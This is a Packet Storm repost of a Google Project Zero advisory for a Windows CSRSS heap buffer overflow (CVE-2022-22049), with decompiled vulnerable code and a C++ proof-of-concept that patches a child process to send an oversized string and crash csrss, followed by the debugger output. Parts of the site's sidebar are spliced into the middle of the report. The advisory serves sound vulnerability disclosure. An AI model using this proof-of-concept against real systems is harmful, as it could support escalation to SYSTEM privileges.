Windows sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString Heap Buffer Overflow

Authored by Google Security Research, Glazvunov

Posted Aug 12, 2022

A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

tags | exploit, overflow, arbitrary
systems | windows
advisories | CVE-2022-22049
SHA-256 | cb8f7be542f04c635c86858c21eaa7b6cc6ce03a9209a26428307fdbe1ed92a7 **Download** | **Favorite** | **View**

```
Windows: heap buffer overflow in sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString

## SUMMARY
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to
execute arbitrary code with SYSTEM privileges.


## VULNERABILITY DETAILS
```
__int64 __fastcall BaseSrvActivationContextCacheDuplicateUnicodeString(UNICODE_STRING *Dst, UNICODE_STRING
*Src)
{
  unsigned int Length; // ebx
  SIZE_T NewMaxLength; // r8
  WCHAR *Heap; // rax
  __int64 Status; // rax

  Length = Src->Length;
  if ((_WORD)Length)
  {
    NewMaxLength = (unsigned __int16)(Length + 2); // *** 1 ***
    Dst->MaximumLength = NewMaxLength;
    Heap = (WCHAR *)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, NewMaxLength); // *** 2 ***
    Dst->Buffer = Heap;
    if (Heap)
    {
      memcpy_0(Heap, Src->Buffer, Length); // *** 3 ***
      Dst->Buffer[(unsigned __int64)Length >> 1] = 0;
      Status = 0i64;
      Dst->Length = Length;
    }
    else
    {
      return 0xC0000017i64;
    }
  }
  else
  {
    *(_DWORD *)&Dst->Length = 0;
    Status = 0i64;
    Dst->Buffer = 0i64;
  }
  return Status;
}
```

The function above attempts to reserve two extra bytes for a trailing null character. The new size gets
truncated to a 16-bit value[1], so if the size of the source string is 0xfffe bytes, the function will try to
allocate a 0-byte buffer[2] and copy 0xfffe bytes into it[3].

The vulnerable function is reachable from the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine.
However, the default size of the CSR shared memory section is only 0x10000 bytes, and some of that space must
be reserved for the capture buffer header, so by default it's impossible to pass a big enough `UNICODE_STRING`
to CSRSS. Luckily, the size of the section is controlled entirely by the client process, and if an attacker can
modify `ntdll!CsrpConnectToServer` early enough during process startup, they'll be able to pass strings of
(virtually) any size.


## VERSION
Windows 11 12H2 (OS Build 22000.593)
Windows 10 12H2 (OS Build 19044.1586)


## REPRODUCTION CASE
This (not very reliable) proof-of-concept creates a new process in a suspended state, attempts to find and
replace 32-bit value 0x10000 inside `CsrpConnectToServer`, and resumes the process' main thread. Then the child
process sends a CSR request with a huge string.
```

Follow us on Twitter
Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	186 files
Ubuntu	52 files
Gentoo	44 files
Debian	27 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags
ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems
AIX (426)
Apple (1,926)

~~~~
1) Enable page heap verification for csrss.exe:
```
gflags /p /enable csrss.exe /full
```

2) Restart the machine.

3) Compile and run:

```
#include <windows.h>
#include <winternl.h>
#include <string>

PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);

void CaptureString(LPVOID capture_buffer,
                   uint8_t* msg_field,
                   PCWSTR string,
                   size_t length = 0,
                   size_t max_length = 0) {
  if (length == 0)
    length = lstrlenW(string);

  CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
                          length * 2 + 2, (PSTR)msg_field);
}

int main(int argc, char* argv[]) {
  HMODULE ntdll = LoadLibrary(L\"ntdll\");

  if (argc == 1) {
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};

    si.cb = sizeof(si);

    WCHAR image_path[MAX_PATH + 1];
    GetModuleFileName(NULL, image_path, MAX_PATH);

    std::wstring args = image_path;
    args += L\" child\";
    CreateProcess(&image_path[0], &args[0], NULL, NULL, FALSE, CREATE_SUSPENDED,
                  NULL, NULL, &si, &pi);

    PVOID csrClientConnectToServer =
        GetProcAddress(ntdll, \"CsrClientConnectToServer\");

    size_t offset = 0;
    for (; offset < 0x1000; ++offset)
      if (*(uint32_t*)((char*)csrClientConnectToServer + offset) == 0x10000)
        break;

    uint32_t new_size = 0x20000;
    WriteProcessMemory(pi.hProcess, (char*)csrClientConnectToServer + offset,
                       &new_size, sizeof(new_size), NULL);

    ResumeThread(pi.hThread);
  } else {
#define INIT_PROC(name) \\
  name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));

    INIT_PROC(CsrAllocateCaptureBuffer);
    INIT_PROC(CsrFreeCaptureBuffer);
    INIT_PROC(CsrClientCallServer);
    INIT_PROC(CsrCaptureMessageString);

    const size_t HEADER_SIZE = 0x40;
    uint8_t msg[HEADER_SIZE + 0x1f8] = {0};

#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;

    SET_FIELD(0, 0x900000041);
    SET_FIELD(3, 0x10101);
    SET_FIELD(6, 0x88);
    SET_FIELD(7, -1);

    std::string manifest =
        \"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' \"
        \"manifestVersion='1.0'>\"
        \"<assemblyIdentity name='A' version='1.0.0.0'/>\"
        \"</assembly>\";

    SET_FIELD(8, manifest.c_str());
    SET_FIELD(9, manifest.size());

    SET_FIELD(22, 1);

    PVOID capture_buffer = CsrAllocateCaptureBuffer(3, 0x10200);

    CaptureString(capture_buffer, FIELD(1), L\"\\x00\\x00\", 2);
    CaptureString(capture_buffer, FIELD(4), L\"C:\\\\Windows\\\
otepad.exe\");
    CaptureString(capture_buffer, FIELD(17), L\"C:\\\\A\\\\\");
    SET_FIELD(17, 0xfffeffe);

    CsrClientCallServer(msg, capture_buffer, 0x1001001e,
                        sizeof(msg) - HEADER_SIZE);
  }
}
```


4) Wait for a crash:
```
CONTEXT:  000000bd41a3ddc0 -- (.cxr 0xbd41a3ddc0)
rax=000002224855c000 rbx=000000000000fffe rcx=000002224855c010
rdx=ffffffff7ecde20 rsi=000000bd41a3ec48 rdi=000000000000fffe
rip=00007ffbd59d3c53 rsp=000000bd41a3eb08 rbp=000000bd41a3efc8
 r8=000000000000002e  r9=00000000000003ff r10=000002224855c000
r11=0000022240439e1e r12=00000000000007a4 r13=0000000000000001
r14=000000bd41a3ee38 r15=000000bd41a3ee20
~~~~

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

```
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ntdll!memcpy+0x113:
0033:00007ffb`d59d3c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0
ds:002b:00000222`4855c000=????????????????????????????????
Resetting default scope

WRITE_ADDRESS:  000002224855c000

EXCEPTION_RECORD:  000000bd41a3e2b0 -- (.exr 0xbd41a3e2b0)
ExceptionAddress: 00007ffbd59d3c53 (ntdll!memcpy+0x0000000000000113)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000001
   Parameter[1]: 000002224855c000
Attempt to write to address 000002224855c000

STACK_TEXT:
000000bd`41a3eb08 00007ffb`d2f34f24 : 00000000`00000000 00000000`0000fffe 00000000`00000000 00000000`00000000 :
ntdll!memcpy+0x113
000000bd`41a3eb10 00007ffb`d2f34e4b : 000000bd`41a3ee20 000000bd`41a3ec30 00000000`00000000 00000222`3a760000 :
sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString+0x64
000000bd`41a3eb40 00007ffb`d2f34d43 : 00000000`00000000 000000bd`41a3ee20 00000222`47868e20 00007ffb`d2d7b8b4 :
sxssrv!BaseSrvActivationContextCacheDuplicateKey+0x4b
000000bd`41a3eb70 00007ffb`d2f34916 : 000000bd`41a3ed78 000000bd`41a3ee20 000000bd`41a3efd4 000000bd`41a3efe0 :
sxssrv!BaseSrvActivationContextCacheCreateEntry+0x83
000000bd`41a3ebd0 00007ffb`d2f34018 : 00000000`00000000 00000000`00000000 00000000`00000000 000000bd`41a3f410 :
sxssrv!BaseSrvActivationContextCacheInsertEntry+0x86
000000bd`41a3ed20 00007ffb`d2f31dce : 00000000`000007f4 00000000`000000f0 00000000`00010244 00000000`00000000 :
sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x818
000000bd`41a3f160 00007ffb`d2fb6490 : 00000222`3d0d0750 00000000`000000f0 00000222`4785ef30 00000222`3a877f80 :
sxssrv!BaseSrvSxsCreateActivationContextFromMessage+0x32e
000000bd`41a3f2d0 00007ffb`d598265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
CSRSRV!CsrApiRequestThread+0x4d0
000000bd`41a3f970 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
ntdll!RtlUserThreadStart+0x2f
```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-07-19.

Related CVE Numbers: CVE-2022-22049,CVE-2022-22049.

Found by: glazunov@google.com

Login or Register to add favorites

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links
- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us
- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By
- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed